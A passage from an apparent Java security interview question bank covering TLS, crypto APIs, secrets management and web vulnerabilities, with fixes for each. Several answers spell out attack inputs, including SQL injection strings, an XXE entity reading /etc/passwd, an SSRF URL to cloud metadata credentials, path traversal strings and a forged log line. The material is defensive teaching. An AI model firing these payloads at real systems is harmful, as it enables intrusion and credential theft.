Is HKDF suitable for passwords? No, it is not slow.
#hkdf#key-derivation#ecdh
Q49
Why does Google Tink or a high-level library beat raw JCA for most apps?
intermediate
Raw JCA exposes dangerous options (ECB defaults, IV handling, padding, curve choice). Tink offers misuse-resistant primitives (Aead, DeterministicAead, PublicKeySign) with safe defaults, key rotation via keysets and KMS integration.
Key versioning lets you rotate by adding a new primary key.
Rolling your own protocol compositions is the leading cause of crypto bugs.
⚠ Follow-up traps
Can Tink replace TLS? No, it covers data-at-rest and message-level crypto.
Does it remove the need for key management? No, you still protect the keyset (wrap with KMS).
#tink#jca#crypto-api
Q50
What is certificate pinning and what are its trade-offs?
advanced
Pinning restricts trust to a specific certificate or public key (SPKI hash) rather than any CA-signed cert, defending against rogue or compromised CAs.
Pin the public key of an intermediate or backup keys, not just the leaf, to survive renewals.
In Java use a custom X509TrustManager that runs normal validation and then checks the SPKI hash, or OkHttp's CertificatePinner.
Risk: a missed rotation bricks clients; plan backup pins and an update path.
⚠ Follow-up traps
Should server-to-server code pin? Usually a private CA truststore is simpler and enough.
Is HPKP a viable browser option? It was removed; use CT monitoring instead.
#certificate-pinning#tls#trust
Q51
What security response headers should a Java web app set?
basic
Set Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options: nosniff, X-Frame-Options or CSP frame-ancestors, Referrer-Policy, and Permissions-Policy. Spring Security adds several of these by default.
HSTS applies only on HTTPS responses; include includeSubDomains carefully.
Avoid unsafe-inline in CSP; use nonces or hashes.
Remove Server/X-Powered-By version banners.
⚠ Follow-up traps
Does HSTS protect the very first visit? No, only after the header was seen or via preload.
Is X-XSS-Protection still useful? No, it is deprecated; rely on CSP.
#headers#hsts#csp
Q52
How do you secure Spring Boot Actuator and other management endpoints?
intermediate
Expose only needed endpoints, put them on a separate management port or behind authentication, and never expose env, heapdump, configprops or jolokia publicly. These leak secrets and allow remote code execution paths.
Spring Boot 3 only exposes health by default over HTTP.
Mask sensitive values; sanitizes keys by default but custom property names can slip through.
⚠ Follow-up traps
Is a heapdump dangerous? Yes, it holds every in-memory secret and session.
Is a separate port enough? Only with network controls limiting who can reach it.
#actuator#spring-boot#misconfiguration
Scenarios
Q53
A developer commits an AWS key and a database password to a public repo. What do you do?
basic
Treat it as compromised immediately: revoke and rotate first, then investigate. Removing the commit does not help because bots scrape GitHub within minutes.
Disable/rotate the AWS key and DB password.
Review CloudTrail and DB audit logs for use since the commit time.
Remove from history (git filter-repo) and force-push only after rotation; notify the provider if needed.
Add secret scanning, pre-commit hooks and move to IAM roles/Vault.
⚠ Follow-up traps
Is git revert enough? No, the secret remains in history and forks.
Should you clean history before rotating? No, rotate first; cleaning is secondary.
#leaked-key#incident-response#secrets
Q54
A password-reset token is generated with `new Random().nextLong()`. What is wrong and how do you fix it?
basic
java.util.Random is a linear congruential generator; observing a couple of outputs lets an attacker recover the seed and predict future tokens, enabling account takeover. Also 64 bits and often seeded from time.
byte[] b = new byte[32];new SecureRandom().nextBytes(b);String token = Base64.getUrlEncoder().withoutPadding().encodeToString(b);
Store only a hash (SHA-256) of the token, set a short expiry, make it single use.
Invalidate existing tokens on password change.
⚠ Follow-up traps
Is UUID.randomUUID() OK? Yes, it uses SecureRandom with 122 random bits, acceptable for tokens.
Why store a hash of the token? A DB leak otherwise exposes valid reset links.
#insecure-random#tokens#account-takeover
Q55
Your service's TLS certificate expired at 2 a.m. and all clients fail. How do you respond and prevent a recurrence?
intermediate
Symptom: SSLHandshakeException ... CertificateExpiredException: NotAfter. Renew and deploy the certificate, reload the keystore (restart if the app loads it once), and verify the chain with openssl s_client.
Prevent: automated issuance (ACME/cert-manager), expiry monitoring alerts at 30/14/7 days, inventory of every cert including internal and mTLS client certs.
Support hot reload (Spring Boot 3.2 SSL bundles with reload-on-update).
Test expiry in staging with short-lived certs.
⚠ Follow-up traps
Will replacing the file on disk update a running JVM? No, the SSLContext loaded it at startup unless reload is implemented.
What about intermediate certs expiring? They break chains too; monitor the whole chain.
#certificate-expiry#outage#tls
Q56
After upgrading the JDK, calls to a partner API fail with `SSLHandshakeException: No appropriate protocol`. What happened?
intermediate
The partner endpoint supports only TLS 1.0/1.1 or weak ciphers, which newer JDKs disable through jdk.tls.disabledAlgorithms in java.security. The right fix is upgrading the partner; re-enabling the old protocol is a risky stopgap.
Diagnose with -Djavax.net.debug=ssl:handshake.
Temporary workaround: override via a custom java.security file scoped to one JVM, with a tracking ticket.
Also check jdk.certpath.disabledAlgorithms for SHA-1 or small RSA keys in the chain.
⚠ Follow-up traps
Should you remove TLSv1 from the disabled list globally? Only as a documented, time-boxed exception.
Does the same error happen with a bad cert? No, cert errors surface as PKIX path building failed.
#tls#jdk-upgrade#disabled-algorithms
Q57
A call fails with `PKIX path building failed: unable to find valid certification path`. What do you do?
basic
The JVM does not trust the issuing CA of the server certificate, often a corporate proxy or a private CA, or the server omits an intermediate. Import the CA (not the leaf) into a truststore and point the JVM to it.
Setting a truststore replaces cacerts; copy cacerts and add to it, or build a combined store.
Fix the server to send the full chain if an intermediate is missing.
⚠ Follow-up traps
Is the right fix to disable validation? Never.
Why does it work in the browser but not Java? Browsers fetch missing intermediates via AIA; Java usually does not for the server chain.
#pkix#truststore#troubleshooting
Q58
A teammate wants a "trust all certificates" `SSLContext` for staging. How do you respond?
basic
Reject it. Such code reaches production through copy-paste or config flags and silently removes MITM protection. Offer a staging CA in a truststore or a Let's Encrypt cert.
Add a lint/static analysis rule (SonarQube, SpotBugs find-sec-bugs) failing on empty checkServerTrusted and ALLOW_ALL_HOSTNAME_VERIFIER.
Use profile-specific truststore paths rather than code branches.
⚠ Follow-up traps
Is it fine behind a VPN? Compromised hosts or shared networks still enable interception.
Does -Dcom.sun.net.ssl.checkRevocation=false equal trust-all? No, it only skips revocation, but weakens security too.
#tls#trustmanager#code-review
Q59
An endpoint builds `"SELECT * FROM users WHERE name = '" + name + "'"`. What happens with `' OR '1'='1`?
basic
The query becomes ... WHERE name = '' OR '1'='1', which is always true and returns every row, bypassing a login check or exposing all users. With stacked queries or UNION, attackers can dump other tables.
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
Fix with PreparedStatement placeholders.
Fix the DB account to least privilege, and give generic error messages.
⚠ Follow-up traps
Does JPA protect you? Only if you use parameters; concatenated JPQL is injectable.
Does escaping quotes fix it? Fragile; multibyte and numeric contexts bypass it.
#sql-injection#jdbc#code-review
Q60
A sort parameter `?sort=price` is concatenated into `ORDER BY`. Prepared statements can't help. What now?
intermediate
Map user input to a fixed set of known columns and reject everything else.
private static final Map<String, String> SORTABLE = Map.of("price", "price", "name", "name", "created", "created_at");String col = SORTABLE.get(sortParam);if (col == null) throw new IllegalArgumentException("bad sort");String sql = "SELECT id, name FROM item ORDER BY " + col;
Direction also needs a whitelist (ASC/DESC).
Spring Data Sort validates property names against the entity, but verify custom @Query usage.
⚠ Follow-up traps
Can regex validation substitute for the map? Possible but riskier than a closed set.
Does ORDER BY ? work? It orders by a constant, so it silently does nothing.
#sql-injection#order-by#allow-list
Q61
Your XML upload endpoint parses SOAP/XML and an attacker sends `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>`. What happens?
intermediate
With a default JDK parser, the entity is resolved and &x; expands to the file contents, which may be echoed in the response or leaked out-of-band through a parameter entity to an attacker's server. Fix by disallowing DOCTYPE and external access.
Also audit XSLT, JAXB Unmarshaller and Office/SVG processing.
Run the service with limited filesystem access.
⚠ Follow-up traps
Is it safe when the response doesn't echo content? No, blind XXE exfiltrates out-of-band.
Is the billion-laughs DoS covered? Disallowing DOCTYPE and secure processing limit entity expansion.
#xxe#xml#file-disclosure
Q62
A "fetch URL for preview" feature is deployed on EC2. An attacker submits `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. Impact?
intermediate
The server calls the metadata service and returns instance role credentials, giving the attacker cloud access (the Capital One 2019 breach pattern). Fix at several layers.
Block link-local/private/loopback IPs after DNS resolution, allow-list hosts, disable redirects.
Enforce IMDSv2 (token required, hop limit 1) so a simple GET fails.
Give the role minimal permissions and restrict egress with network policies.
⚠ Follow-up traps
Does IMDSv2 alone fix SSRF? It mitigates metadata theft, not access to other internal services.
Can DNS rebinding beat a pre-check? Yes, so connect to the validated IP address directly.
#ssrf#cloud-metadata#imds
Q63
Your API accepts Java-serialized objects in a cookie. What's the risk and the migration plan?
intermediate
Any client can send a crafted stream that runs a gadget chain during readObject, yielding RCE under the app's privileges. Never accept serialized Java from untrusted sources.
Replace with a signed (HMAC) or encrypted token carrying JSON, or store state server-side keyed by a random ID.
During migration, install an ObjectInputFilter allow-list and remove gadget libraries (old commons-collections 3.x).
Monitor for java.io.InvalidClassException spikes as attack signals.
⚠ Follow-up traps
Does signing the cookie solve it? Yes if the key is secret and verified before deserialization; encryption without a MAC does not.
Is a serialization filter alone enough long term? It's a mitigation; removing native serialization is the fix.
#deserialization#rce#cookies
Q64
Your Jackson mapper has `activateDefaultTyping(... OBJECT_AND_NON_CONCRETE ...)` and accepts untrusted JSON. What can go wrong?
advanced
Attackers set @class to a gadget type whose setters or constructors execute dangerous actions (JNDI lookups, file writes), causing RCE. Jackson CVEs repeatedly targeted this.
Don't use default typing on untrusted input; use @JsonTypeInfo(use = NAME) with @JsonSubTypes listing allowed subtypes.
If required, configure BasicPolymorphicTypeValidator allow-listing packages.
Keep Jackson updated.
⚠ Follow-up traps
Is a type allow-list on Object fields safe? Only if narrow; allowing java.lang.Object effectively permits anything.
Does plain readValue(json, MyDto.class) have this risk? Not without polymorphism features.
#jackson#deserialization#polymorphic-typing
Q65
A file download endpoint is `new File(baseDir, request.getParameter("file"))`. What can an attacker do?
basic
With file=../../etc/passwd or an absolute path (in some APIs absolute second argument semantics differ), they read arbitrary files such as config with secrets. Encoded variants (%2e%2e%2f, double-encoding) get past naive filters.
Resolve, normalize and check with startsWith(base) after toRealPath().
Better: map IDs to stored files in a database and never expose raw filenames.
Run the app user with read access only where needed.
⚠ Follow-up traps
Does stripping ../ once work?....// becomes ../ after stripping; allow-list or reject instead.
Does Path.resolve with an absolute argument return it? Yes, base.resolve("/etc/passwd") returns /etc/passwd.
#path-traversal#file-download#code-review
Q66
A user upload endpoint saves files using the original filename and serves them from the same origin. What risks exist?
intermediate
Risks: path traversal in filenames, uploading .html/.svg for stored XSS, overwriting existing files, executable content, large file DoS, and content-type spoofing.
Generate random server-side names; keep extension from an allow-list; detect real type by magic bytes (Apache Tika).
Store outside the web root or in object storage on a separate domain with Content-Disposition: attachment and nosniff.
Enforce size limits (spring.servlet.multipart.max-file-size) and scan for malware if needed.
⚠ Follow-up traps
Is the Content-Type header trustworthy? No, the client sets it.
Why a separate domain? Same-origin scripts access cookies and APIs of the main site.
#file-upload#xss#content-type
Q67
Users can reach other users' data by changing `/api/invoices/{id}`. How do you find and fix it?
intermediate
This is broken object-level authorization. Fix by checking ownership on every access in the service layer, not only in controllers.
Return 404 instead of 403 to avoid confirming existence.
Add automated tests with two users; use method security for consistent enforcement.
Review batch endpoints and bulk-export paths.
⚠ Follow-up traps
Does role-based access control prevent it? No, both users share the same role; object ownership is separate.
Is it caught by scanners? Poorly; it needs business-logic tests.
#idor#access-control#spring-security
Q68
A JWT library accepts `{"alg":"none"}` tokens. What is the exploit and fix?
intermediate
The attacker edits claims ("role":"admin"), sets alg to none, drops the signature, and the vulnerable verifier treats the token as valid. Fix by upgrading the library and requiring the expected algorithm explicitly.
Verify with a parser configured with a specific key and algorithm; do not trust the header.
Reject tokens with missing signatures and unexpected typ/alg.
Add tests with tampered tokens.
⚠ Follow-up traps
Is decoding the payload and checking claims enough? No, unsigned data is attacker-controlled.
Do modern libraries still allow this? Defaults are safe now, but custom parsers or lenient configs can reintroduce it.
#jwt#alg-none#authentication-bypass
Q69
Your RS256 service verifies tokens with a key fetched from the token's `jku` header. What's the attack?
advanced
The attacker hosts their own JWKS, signs a token with their private key, and points jku to it; the service dutifully fetches and trusts the attacker's key, accepting any claims. Never take key locations or embedded keys (jwk) from the token.
Configure the JWKS URL statically from the issuer's metadata.
Allow-list kid values and restrict kid to key lookup in an in-memory map.
Algorithm confusion: an RS256 public key presented as an HS256 secret is a related attack, solved by fixing the algorithm per key.
⚠ Follow-up traps
Is an allow-list of jku hosts enough? Open redirects on allowed hosts can still be abused; prefer static configuration.
Why is the public key usable as an HMAC secret? The library chose the algorithm from the header.
#jwt#jku#key-confusion
Q70
An access token JWT has a 30-day lifetime and the user reports a stolen device. How do you revoke it?
intermediate
Stateless JWTs cannot be revoked by design. Options: a server-side deny-list of jti or user/session version checked on each request, rotating the signing key (invalidates everyone), or switching to opaque tokens with introspection.
Redesign: 5-15 minute access tokens plus rotating refresh tokens stored server-side with reuse detection.
Revoking the refresh token stops renewal; the access token expires shortly.
Keep a token_version on the user and compare it with a claim.
⚠ Follow-up traps
Does a deny-list defeat the stateless benefit? Partly, but it is small (only revoked IDs until expiry).
Is changing the password enough? Only if you check a version or iat against the password-change time.
#jwt#revocation#token-lifetime
Q71
Compare storing a JWT in `localStorage` vs an HttpOnly cookie for a SPA.
intermediate
localStorage is readable by any script, so XSS steals the token for use anywhere. An HttpOnly; Secure; SameSite cookie is invisible to JS but is sent automatically, which needs CSRF defenses.
For BFF (backend-for-frontend) patterns the server holds tokens and gives the browser only a session cookie.
XSS with an HttpOnly cookie still lets the attacker act as the user from the page, but cannot exfiltrate the token.
Strong CSP reduces XSS in both models.
⚠ Follow-up traps
Is sessionStorage safer? Same XSS exposure, only shorter lifetime.
Does SameSite=Lax fully stop CSRF? It blocks most cross-site POSTs, but GET-based state changes and same-site subdomains remain risks.
#jwt#xss#csrf#cookies
Q72
Users are stored with unsalted MD5 passwords and the DB leaked. What now?
intermediate
Assume most passwords are cracked within hours. Force resets, notify users, and migrate hashing. A transparent upgrade wraps the old hash: argon2(md5hash) for everyone immediately, then re-hash with the plain password at next login.
Store an algorithm ID per row ({md5-argon2}) to know how to verify.
Invalidate sessions and tokens, and enable MFA.
Check for credential stuffing on other systems; tell users to change reused passwords.
⚠ Follow-up traps
Can you migrate offline without user input? Only by wrapping the old hash, which doesn't restore strength for weak passwords.
Does salting after the fact help? It protects against rainbow tables for new hashes, not the already-leaked ones.
#password-hashing#breach#migration
Q73
Login takes 800 ms after switching to bcrypt cost 14 and CPU spikes under load. How do you reason about this?
intermediate
Password hashing is intentionally expensive, but it becomes a DoS vector: attackers can flood login endpoints to exhaust CPU. Tune cost for roughly 100-300 ms, rate limit and cap concurrent hashing, and offload to a dedicated pool.
Rate limit per IP and per account; add CAPTCHA or lockout with backoff.
Use a bounded executor so hashing doesn't starve request threads.
Prefer Argon2id parameters sized to memory so you control both CPU and RAM.
⚠ Follow-up traps
Should you lower the cost to fix load? Scale horizontally and rate limit first; weakening hashes harms breach resistance.
Does hashing on the client avoid server cost? No, the hash would become the password.
#bcrypt#performance#dos
Q74
You must encrypt PII columns in the database. What is a sound design?
advanced
Use envelope encryption: a data key per tenant or table encrypts values with AES-GCM; the data keys are wrapped by a KMS master key. Store ciphertext, IV and key version together; rotate by re-wrapping or lazily re-encrypting.
Bind context with AAD (row ID, column name) so ciphertext can't be swapped between rows.
For searchable fields use a blind index: HMAC(key2, normalized_value); deterministic encryption leaks equality.
Never log plaintext or keys; cache unwrapped data keys with short TTL.
⚠ Follow-up traps
Does disk or TDE encryption cover this? It protects stolen disks, not a compromised app or SQL injection.
Why AAD? Without it, an attacker with DB write could copy one user's encrypted value into another's row.
#encryption-at-rest#envelope-encryption#kms
Q75
An AES-CBC encrypted cookie is accepted by the server and users start tampering with it. What do you fix?
advanced
CBC is malleable: flipping bits in the IV or a previous block predictably changes the next plaintext block, so an attacker can alter fields (e.g., admin=0 to admin=1) without the key. Switch to AES-GCM or add an HMAC (encrypt-then-MAC) verified before decryption.
Return one generic error for any failure.
Rotate the key, since you must assume prior cookies were forged.
Better: opaque session ID with server-side state.
⚠ Follow-up traps
Does encryption imply integrity? No; only authenticated modes provide both.
Is a hash appended inside the plaintext enough? An unkeyed hash can be recomputed by someone who can modify the plaintext.
#aes-cbc#malleability#authenticated-encryption
Q76
Two threads in your service encrypt with AES-GCM using a static IV `new byte[12]`. What is the consequence?
advanced
Reusing a GCM nonce under one key is catastrophic: XOR of two ciphertexts reveals the XOR of plaintexts, and the GHASH authentication key can be recovered, letting attackers forge messages.
Generate a fresh random 12-byte IV per encryption with SecureRandom and prepend it to ciphertext.
For very high volumes, rotate keys before 2^32 messages.
The JDK refuses re-encrypting with the same key/IV on one Cipher object without re-init but doesn't stop reuse across objects.
⚠ Follow-up traps
Is the IV secret? No, it is public but must be unique.
Does a unique key per message remove the need for unique IVs? Yes, but you need a way to derive or store those keys.
#aes-gcm#iv-reuse#nonce
Q77
A Java 17 service uses `Cipher.getInstance("AES")` and writes encrypted files. What is wrong?
basic
That string selects AES/ECB/PKCS5Padding. ECB encrypts equal plaintext blocks to equal ciphertext blocks (the "ECB penguin"), leaks structure and gives no integrity. It may still work and appear fine in testing.
Use AES/GCM/NoPadding with a random IV per file and store the IV with the ciphertext.
Migration: tag the file format with a version byte, decrypt with the old method and re-encrypt on write.
Does ECB with a strong key remain secure? The key is fine; the mode leaks patterns.
Is CBC with a fixed IV better? Not really; deterministic and unauthenticated.
#aes#ecb#jca
Q78
The signature check `Signature.verify` is wrapped in `try { ... } catch (Exception e) { }` and returns true when no exception. What goes wrong?
intermediate
verify returns false for a bad signature rather than throwing, so treating "no exception" as success accepts invalid signatures. Also swallowing exceptions masks malformed input.
Signature s = Signature.getInstance("SHA256withRSA");s.initVerify(publicKey);s.update(data);boolean ok = s.verify(sigBytes); // must check this booleanif (!ok) throw new SecurityException("bad signature");
Fail closed on every exception path.
Keep the Psychic Signatures case in mind: always run a patched JDK.
⚠ Follow-up traps
Can verify throw? Yes SignatureException for malformed signatures; both outcomes must reject.
Is checking only the signature enough? Also bind context (expected signer, timestamps, replay protection).
#signatures#verify#error-handling
Q79
A SecureRandom call blocks for seconds at container start on a low-entropy VM. What do you check?
intermediate
Look for SecureRandom.getInstanceStrong() or a NativePRNGBlocking configuration, which reads /dev/random. Use the default new SecureRandom(), which seeds from /dev/urandom without blocking on modern kernels (5.6+ makes /dev/random non-blocking after init).
Check thread dumps for NativePRNG or SeedGenerator frames.
On old JDK 8 setups the egd workaround -Djava.security.egd=file:/dev/./urandom was used; the odd /./ was needed to bypass a special-case in older JDKs.
Consider installing haveged or rng-tools only on very old kernels.
⚠ Follow-up traps
Is /dev/urandom weak at early boot? It can be before seeding, which is rare on cloud images with virtio-rng.
Does getInstanceStrong() give better tokens? Not meaningfully for token generation, only slower.
#securerandom#blocking#containers
Q80
A request-scoped helper creates `new SecureRandom()` for every call, and throughput dropped. What's the fix?
intermediate
Constructing and seeding SecureRandom repeatedly is costly with some providers and can generate pressure on entropy sources. Reuse a single shared instance (thread-safe), possibly as a static final field.
private static final SecureRandom RNG = new SecureRandom();static String token() { byte[] b = new byte[32]; RNG.nextBytes(b); return Base64.getUrlEncoder().withoutPadding().encodeToString(b);}
With the NativePRNG, calls synchronize on a lock; measure before adding per-thread instances.
⚠ Follow-up traps
Is a shared SecureRandom a security risk? No, it is designed to be shared.
Is ThreadLocalRandom a faster substitute? It is insecure and unsuitable.
#securerandom#performance#concurrency
Q81
A mobile app's API key is hardcoded in the Android APK. How would you assess and handle that?
intermediate
Anything shipped to a client can be extracted by decompiling (apktool, jadx); obfuscation only slows analysis. Treat embedded keys as public identifiers and design so their compromise has limited impact.
Move secret operations to the backend; the app authenticates users and calls your API.
Restrict keys (package name + signature, referrer, quota, scope) and rotate on leak.
Use attestation (Play Integrity, App Attest) and short-lived tokens obtained after attestation.
Scan builds with mobile security tools (e.g. Appknox) for hardcoded secrets.
⚠ Follow-up traps
Does ProGuard/R8 hide strings? It renames symbols but string constants stay readable.
Is the NDK the safe place? Strings can still be recovered with disassemblers.
#secrets#mobile#api-keys
Q82
Spring Boot `application.yml` with DB passwords is in the Docker image. How do you remediate?
basic
Image layers are retrievable by anyone with pull access, so rotate those credentials and remove them from the image. Provide secrets at runtime and have Spring read them from the environment or mounted files.
Use orchestrator secrets (Kubernetes Secret or Vault agent injection).
Rebuild without secrets; deleting a file in a later layer does not remove it from earlier layers.
⚠ Follow-up traps
Does docker build --build-arg safely pass secrets? No, args appear in image history; use BuildKit --secret.
Is .dockerignore enough? It prevents copying but not leakage via other paths.
#secrets#docker#spring-boot
Q83
Sensitive data appears in application logs: full request bodies including passwords at INFO. How do you handle it?
basic
Stop the leak first: change the log level or remove the statement and deploy. Then purge or restrict the affected log storage, rotate any exposed credentials and assess breach-notification duties.
Replace body logging with allow-listed fields.
Add masking in the logging layer and tests that assert no sensitive keys appear.
Is deleting the local file enough? No, shipped copies exist in the aggregator.
Do request logging filters like CommonsRequestLoggingFilter hide secrets? No, they log payload as is unless customized.
#logging#pii#incident
Q84
A user input is written to logs and an attacker inserts `\n2026-01-01 INFO Login success user=admin`. What is this?
basic
Log forging (CRLF injection into logs): newlines let the attacker fabricate entries or confuse parsers and SIEM rules.
Strip or encode CR/LF in untrusted values before logging, or use a structured JSON layout that escapes them.
Parameterized logging (log.info("user={}", user)) does not sanitize newlines.
Pair with validation at input boundaries.
⚠ Follow-up traps
Does Logback's pattern escape newlines? Not by default; use %replace or a JSON encoder.
Does the same apply to log viewers rendering HTML? Yes, also encode on display.
#log-injection#log-forging#logging
Q85
A Spring app has `/actuator/env` and `/actuator/heapdump` exposed to the internet. What can an attacker do?
intermediate
env reveals configuration (sometimes unmasked secrets, and /actuator/env POST with Spring Cloud can alter properties), and heapdump provides the full heap with passwords, session tokens and private keys.
Immediately restrict exposure and rotate any secrets present.
Set management.endpoints.web.exposure.include=health,info, secure with Spring Security roles, and use a separate management port.
Check access logs for earlier downloads.
⚠ Follow-up traps
Is key masking sufficient? Only default names are sanitized; custom names like partner.token may show.
Is it a risk if behind a gateway? Yes if the gateway forwards /actuator/**.
#actuator#misconfiguration#secrets
Q86
Your Dependabot alert says Jackson-databind has a CVE, but no code uses polymorphic typing. Should you upgrade?
intermediate
Yes, upgrade as a matter of course, but this affects urgency. Many Jackson CVEs require default typing or specific gadgets on the classpath; without them, exploitability is low. Document the triage and schedule the patch.
Check the advisory preconditions (activateDefaultTyping, @JsonTypeInfo(CLASS), gadget jars).
Spring Boot BOM upgrades usually fix it in a patch release.
Keep a reachability note for audit trails.
⚠ Follow-up traps
Is "not reachable today" a permanent answer? No; code changes can make it reachable.
Does overriding only jackson-databind suffice? Align all Jackson modules to the same version.
#dependencies#cve#triage
Q87
The build suddenly pulls a company-internal artifact name from Maven Central. What happened?
advanced
Dependency confusion: someone published a package with your internal groupId/artifactId and a higher version to a public repository, and the resolver preferred it.
Route all resolution through a repository manager with the internal groupId served only from the private repository (routing rules/exclusive content).
Claim your namespace on Central (Sonatype verifies group ownership).
Enable checksum/dependency verification (gradle --write-verification-metadata) so unexpected artifacts fail the build.
Investigate whether any build ran the malicious artifact; rotate CI secrets.
⚠ Follow-up traps
Does version pinning help? Yes, exact versions plus verification prevent silent upgrade.
Why are build plugins worse? They run with CI credentials during the build.
#dependency-confusion#supply-chain#maven
Q88
A new vulnerability is announced in a library you use, and you don't know which services use it. How do you answer fast?
intermediate
Without an inventory you grep repos; with SBOMs you query. Generate CycloneDX SBOMs in CI per build and store them (e.g. Dependency-Track) so you can search by group:artifact:version and see deployed artifacts.
Scan images (Trivy, Grype) in the registry and at runtime.
Map artifacts to services/owners and track patch SLAs.
Mitigate before patching if possible (WAF rule, feature flag, config switch).
⚠ Follow-up traps
Is mvn dependency:tree per repo enough? Not at scale, and it misses shaded/fat jar contents.
Do shaded jars hide vulnerable code? Yes, relocated classes won't show in manifests; scan the final artifact.
#sbom#inventory#incident-response
Q89
After Java 17 upgrade, an old library crashes with `InaccessibleObjectException`. A teammate proposes `--add-opens` everywhere. Your view?
intermediate
--add-opens is acceptable as a narrow, documented stopgap for a specific package and module, but the proper fix is upgrading the library to a version that does not reflect into JDK internals.
Scope it: --add-opens java.base/java.lang=ALL-UNNAMED only for the needed package.
Track each flag with an owner and removal ticket.
Wide opens weaken the encapsulation that blocks deserialization and reflection hacks on JDK internals.
⚠ Follow-up traps
Why did Java 9-15 not fail?--illegal-access=permit was the default until JDK 16 and removed in 17.
Does --add-opens grant file or network permissions? No, only reflective access.
#jpms#add-opens#encapsulation
Q90
A legacy app runs a plugin system with `System.setSecurityManager`. What breaks on Java 24 and what is the replacement?
advanced
On Java 24 the call throws UnsupportedOperationException, and -Djava.security.manager=allow no longer enables it, so plugins run with full privileges. Isolation must move outside the JVM.
Run plugins in separate processes or containers with seccomp, read-only filesystem, no network, and cgroup limits.
Use a narrow IPC (gRPC) and treat plugin code as untrusted.
Consider Wasm sandboxes (Chicory) for compute-only plugins.
Stay on Java 17-23 only as a temporary bridge, with the deprecation warnings tracked.
⚠ Follow-up traps
Can a custom ClassLoader sandbox plugins? It isolates namespaces, not privileges.
Does --sun-misc-unsafe-memory-access relate? No, that is a different JEP about Unsafe.
#securitymanager#sandbox#migration
Q91
An internal service is called with `http://` and relies on a private network. Why might auditors object?
basic
Private networks are not trustworthy: compromised hosts, misconfigured peering, and shared clusters allow sniffing. Compliance regimes (PCI, HIPAA) often require encryption in transit internally too.
Use TLS for service-to-service traffic, or a service mesh (mTLS via Istio/Linkerd) for automated cert rotation.
Configure Spring clients with proper truststores; keep hostname verification.
Authenticate callers (mTLS or signed tokens) beyond network location.
⚠ Follow-up traps
Does a mesh remove the need for app authorization? No, it authenticates workloads; business authorization is still yours.
What is the cost of internal TLS? A small CPU overhead, mostly absorbed by session resumption.
#tls#zero-trust#transport-security
Q92
A client app works when you pass `-Djavax.net.ssl.trustStore=...` but ignores it when you create an `SSLContext` manually. Why?
intermediate
System properties are read by the default SSLContext/TrustManagerFactory initialisation. If you call ctx.init(null, customTrustManagers, null), your managers replace the defaults. If you pass null for trust managers, the default (with properties) is used. Library-specific clients (Apache HttpClient, OkHttp) may not use JVM defaults at all.
Print the effective store with -Djavax.net.debug=trustmanager.
Verify the file path and password; a wrong password gives an IOException, a wrong file silently falls back sometimes.
⚠ Follow-up traps
Does the property add to or replace cacerts? It replaces it.
Does javax.net.ssl.trustStore affect clients that create their own SSLContext? Not necessarily.
#truststore#sslcontext#configuration
Q93
Mutual TLS between two services intermittently fails after a client certificate rotation. What do you investigate?
advanced
Likely causes: the server truststore lacks the new issuing CA, the new cert's EKU lacks clientAuth, the chain is incomplete, or long-lived pooled connections still use the old identity and then fail on renegotiation. Confirm with handshake debug logs.
Compare keytool -list -v output for validity, EKU, SAN and issuer.
Roll out trust (new CA in truststores) before rotating certs.
Reload KeyManager on rotation (Spring Boot SSL bundles) and recycle connection pools.
⚠ Follow-up traps
Does restarting only the client fix a missing CA on the server? No.
Why intermittently? Some server replicas have the updated truststore and others don't.
#mtls#rotation#truststore
Q94
You must verify a webhook from a partner. How do you design signature verification?
intermediate
Compute HMAC-SHA256 over the raw request body (plus a timestamp) with the shared secret and compare with the header value in constant time. Reject old timestamps to prevent replay.
Mac mac = Mac.getInstance("HmacSHA256");mac.init(new SecretKeySpec(secret, "HmacSHA256"));byte[] expected = mac.doFinal(rawBody);boolean ok = MessageDigest.isEqual(expected, HexFormat.of().parseHex(sigHeader));
Use the raw bytes, not re-serialized JSON (field order and whitespace differ).
Reject when |now - timestamp| > 5 min and track delivery IDs.
⚠ Follow-up traps
Why not compare strings with equals? It is not constant-time.
Does HMAC prevent replay? No, add timestamps/nonces.
#hmac#webhooks#replay
Q95
Users report their reset email links were used by someone else. Review shows tokens are 6-digit numeric codes valid for 24 hours. What do you change?
intermediate
Six digits is 1,000,000 possibilities; without rate limiting an attacker enumerates them within the window. Use at least 128-bit random tokens for links, or short-lived (10 minutes) codes with strict attempt limits.
Limit attempts per account and IP, then invalidate the token after N failures.
Store only a hash, bind to the user, make it single-use.
Notify the user on reset and invalidate sessions after a successful reset.
⚠ Follow-up traps
Is a 6-digit code ever acceptable? For MFA/OTP with a 30-second validity and attempt lockout, yes.
Do identical error messages matter? Yes, differing responses enable user enumeration.
#tokens#brute-force#rate-limiting
Q96
Your login endpoint is hit with credential stuffing. What defenses fit a Java service?
intermediate
Layer defenses: per-IP and per-account rate limiting (Bucket4j, gateway limits), progressive delays, CAPTCHA or risk-based challenge, MFA, breached-password checks (HIBP k-anonymity API), and alerting on high failure rates.
Avoid hard account lockout that lets attackers lock out real users; use backoff.
Make responses and timing identical for unknown users and wrong passwords.
Use device and IP reputation at the edge/WAF.
⚠ Follow-up traps
Does strong password hashing stop stuffing? No, the attacker uses real, valid credentials from other leaks.
Does per-IP limiting suffice? Botnets distribute across IPs; limit per account too.
#credential-stuffing#rate-limiting#authentication
Q97
A developer logs `Authorization` headers to debug an issue and forgets to remove it. How do you design to prevent this class of bug?
basic
Combine controls: a code review checklist, automated scanning for secrets and sensitive key names, centralized redaction, and dedicated types for secrets.
Wrap secrets in a Secret class whose toString() returns "****".
Configure HTTP client and server logging to exclude headers (Authorization, Cookie, Set-Cookie).
Short token TTLs reduce impact of leaked logs.
Secrets scanning on log sinks (e.g., DLP rules) as a last line.
⚠ Follow-up traps
Is DEBUG logging in production acceptable? Only temporarily, scoped to a request, with redaction.
Do wrapper types stop reflection-based serializers? Jackson would still serialize fields; annotate with @JsonIgnore.
#logging#secrets#defense-in-depth
Q98
A Spring Boot CORS config uses `allowedOrigins("*")` with `allowCredentials(true)`. What happens?
intermediate
Spring rejects * with credentials (IllegalArgumentException in CorsConfiguration validation); the browser spec also forbids it. Developers then "fix" it by reflecting the request Origin header, which allows any site to read authenticated responses.
Allow-list explicit origins and set allowedOriginPatterns carefully.
CORS is not authentication; it only relaxes the browser's same-origin read restrictions.
Avoid Access-Control-Allow-Origin: null.
